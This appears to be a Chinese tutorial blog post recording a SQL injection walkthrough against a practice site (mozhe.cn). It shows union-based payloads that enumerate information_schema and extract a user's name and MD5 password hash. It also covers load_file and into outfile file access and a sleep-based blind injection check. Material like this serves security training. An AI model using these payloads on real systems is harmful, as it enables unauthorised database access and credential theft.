MySQL注入操作流程记录

一、简单流程

1.访问页面,找到有参数页面

页面提交:http://mozhe.cn/new_list.php?id=1
数据库执行语句:select * from news where id=1
页面返回描述:返回内容正常
分析解说:正常浏览页面,找到有参数的地方,如id。

2.注入点判断:and 1=1 / and 1=2

页面提交:http://mozhe.cn/new_list.php?id=1 and 1=1
数据库执行语句:select * from news where id=1 and 1=1
页面返回描述:返回内容正常
分析解说:测试SQL语句。
提交:http://mozhe.cn/new_list.php?id=1 and 1=2
数据库执行语句:select * from news where id=1 and 1=2
页面返回描述:返回内容为空
分析解说:因为sql语句中,1=2不成立。

3.猜解字段数

页面提交:http://mozhe.cn/new_list.php?id=1 order by 1
数据库执行语句:select * from news where id=1 order by 1
页面返回描述:返回内容正常
分析解说:通过SQL语句中order by N 来判断有几个字段,直到页面错误

4.报错猜解准备

页面提交:http://mozhe.cn/new_list.php?id=-1 union select 1,2,3,4
数据库执行语句:select * from news where id=-1 union select 1,2,3,4
页面返回描述:在原来的标题上位置显示为2,内容的位置显示为3
分析解说:通过SQL语句中and 1=2 union select 1,2,3……,n联合查询,判断显示的是哪些字段,就是原本显示标题和内容时候的查询字段,原本的查询应该是select id,title,contents,times from news where id=1,也就是说title标题是第2个位置显示,contents内容是在第三个位置显示。

5.信息收集

页面提交:http://mozhe.cn/new_list.php?id=-1 union select 1,database(),version(),user()
数据库执行语句:select * from news where id=-1 union select 1,database(),version(),user()
页面返回描述分析:
database():mozhe_Discuz_StormGroup
version():5.7.22-0ubuntu0.16.04.1
@@version_compile_os:Linux
user():root@localhost

6.库、表、列名收集

1.库名收集
页面提交:http://mozhe.cn/new_list.php?id=-1 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 0,1
数据库执行语句:select * from news where id=-1 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 0,1
页面返回描述:在原来的标题上位置显示为information_schema,内容的位置显示为3
分析解说:这里涉及到数据库information_schema、表SCHEMATA、列SCHEMA_NAME三个内容,数据库information_schema是MySQL系统自带的数据库,其中记录了当前数据库系统中大部分我们需要了结的信息,比如字符集,权限相关,数据库实体对象信息,通过information_schema我们可以查看整个MySQL实例的情况。
limit 0,1意思是从第0行起,取1行数据,information_schema为获取的第1个数据库名称。

2.表名收集
页面提交:http://mozhe.cn/new_list.php?id=-1 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 0,1
数据库执行语句:select * from news where id=-1 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 0,1
页面返回描述:在原来的标题上位置显示为StormGroup_member,内容的位置显示为3
分析解说:查询对应数据库mozhe_Discuz_StormGroup的第1个数据表名称,limit 0,1,第1个表名为StormGroup_member。

3.列名收集
页面提交:http://mozhe.cn/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name="StormGroup_member"

4.information_schema数据库表说明:
SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。
TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。
COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。
STATISTICS表:提供了关于表索引的信息。是show index from schemaname.tablename的结果取之此表。
USER_PRIVILEGES(用户权限)表:给出了关于全程权限的信息。该信息源自mysql.user授权表。是非标准表。
SCHEMA_PRIVILEGES(方案权限)表:给出了关于方案(数据库)权限的信息。该信息来自mysql.db授权表。是非标准表。
TABLE_PRIVILEGES(表权限)表:给出了关于表权限的信息。该信息源自mysql.tables_priv授权表。是非标准表。
COLUMN_PRIVILEGES(列权限)表:给出了关于列权限的信息。该信息源自mysql.columns_priv授权表。是非标准表。
CHARACTER_SETS(字符集)表:提供了mysql实例可用字符集的信息。是SHOW CHARACTER SET结果集取之此表。
COLLATIONS表:提供了关于各字符集的对照信息。
COLLATION_CHARACTER_SET_APPLICABILITY表:指明了可用于校对的字符集。这些列等效于SHOW COLLATION的前两个显示字段。
TABLE_CONSTRAINTS表:描述了存在约束的表。以及表的约束类型。
KEY_COLUMN_USAGE表:描述了具有约束的键列。
ROUTINES表:提供了关于存储子程序(存储程序和函数)的信息。此时,ROUTINES表不包含自定义函数(UDF)。名为“mysql.proc name”的列指明了对应于INFORMATION_SCHEMA.ROUTINES表的mysql.proc表列。
VIEWS表:给出了关于数据库中的视图的信息。需要有show views权限,否则无法查看视图信息。
TRIGGERS表:提供了关于触发程序的信息。必须有super权限才能查看该表。

7.指定数据查询

页面提交:http://mozhe.cn/new_list.php?id=-1 union select 1,CONCAT(name,'-',password,'-',status),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 1,1
数据库执行语句:select * from news where id=-1 union select 1,CONCAT(name,'-',password,'-',status),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 1,1
页面返回描述:在原来的标题上位置显示为mozhe-6380305ffa6520047acfe95d29ae707b-1,内容的位置显示为3
分析解说:查询数据库mozhe_Discuz_StormGroup的表StormGroup_member中的第2条数据的name、password、status的内容,三者之间用-连接起来,CONCAT的是把产生的字符串连接起来,这个地方拼接在一起时为了在一个地方全部显示出来。可以获得第一条数据的name账户为mozhe,密码password为6380305ffa6520047acfe95d29ae707b(md5加密后的密码,可通过解密获到明文),status账户状态为1。

二、文件读写

1.load_file()

select load_file('c:/a/x/c.z')

2.常读敏感文件:
链接
3.into outfile 或 into dumpfile

select 'a' into outfile 'd:/www.txt'

4.路径获取

报错显示、遗留文件、漏洞报错、配置文件

三、盲注

1.基于布尔的SQL盲注-逻辑判断
布尔盲注方法

2.基于时间的SQL盲注-延时判断

and sleep(if(database()='xxx',5,0))

3.基于报错的SQL盲注-报错回显
报错盲注方法

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值